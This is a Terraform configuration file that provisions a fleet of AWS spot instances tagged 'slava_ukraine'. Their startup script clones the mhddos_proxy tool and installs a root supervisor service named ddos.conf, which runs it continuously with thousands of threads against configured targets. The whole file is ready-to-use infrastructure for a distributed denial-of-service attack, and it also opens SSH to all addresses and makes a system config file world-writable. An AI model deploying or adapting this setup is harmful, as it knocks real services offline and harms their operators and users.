-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathplan.tf
81 lines (68 loc) · 2.07 KB
/
plan.tf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
terraform {
required_providers {
aws = {
source = "hashicorp/aws"
version = "~> 3.27"
}
}
required_version = ">= 0.14.9"
}
provider "aws" {
profile = "default"
region = var.region
}
resource "aws_key_pair" "ssh_key" {
key_name = "deployer-key"
public_key = var.ssh_key
}
resource "aws_security_group" "slava_ukraine_sg" {
name = "allow_ssh"
description = "Allow SSH inbound traffic"
ingress {
description = "TLS from VPC"
from_port = 22
to_port = 22
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"]
ipv6_cidr_blocks = ["::/0"]
}
egress {
from_port = 0
to_port = 0
protocol = "-1"
cidr_blocks = ["0.0.0.0/0"]
ipv6_cidr_blocks = ["::/0"]
}
tags = {
Name = "allow_ssh"
}
}
resource "aws_spot_instance_request" "slava_ukraine" {
count = var.instance_count
ami = var.ami
spot_type = "persistent"
spot_price = var.price
instance_type = "t3.nano"
instance_interruption_behavior = "terminate"
vpc_security_group_ids = [aws_security_group.slava_ukraine_sg.id]
key_name = aws_key_pair.ssh_key.id
root_block_device {
volume_size = 8
}
user_data = <<EOF
#!/bin/bash
mkdir -p `pwd`/${var.workdir}
cd ${var.workdir}
sudo apt update && sudo apt install -y git screen python3 python3-pip supervisor
git clone https://github.com/porthole-ascend-cinnamon/mhddos_proxy.git
pip3 install -r mhddos_proxy/requirements.txt
sudo touch /etc/supervisor/conf.d/ddos.conf
sudo chmod 777 /etc/supervisor/conf.d/ddos.conf
echo -e "[program:piZddos]\ncommand=/usr/bin/python3 `pwd`/mhddos_proxy/runner.py -t $((`nproc` *1000)) ${var.targets}\nuser=root\nautostart=true\nautorestart=true\nstdout_logfile=/var/log/piZddos.log\nstderr_logfile=/var/log/piZddos.err.log\n" > /etc/supervisor/conf.d/ddos.conf
sudo supervisorctl reread
sudo supervisorctl update
EOF
tags = {
Name = "slava_ukraine"
}
}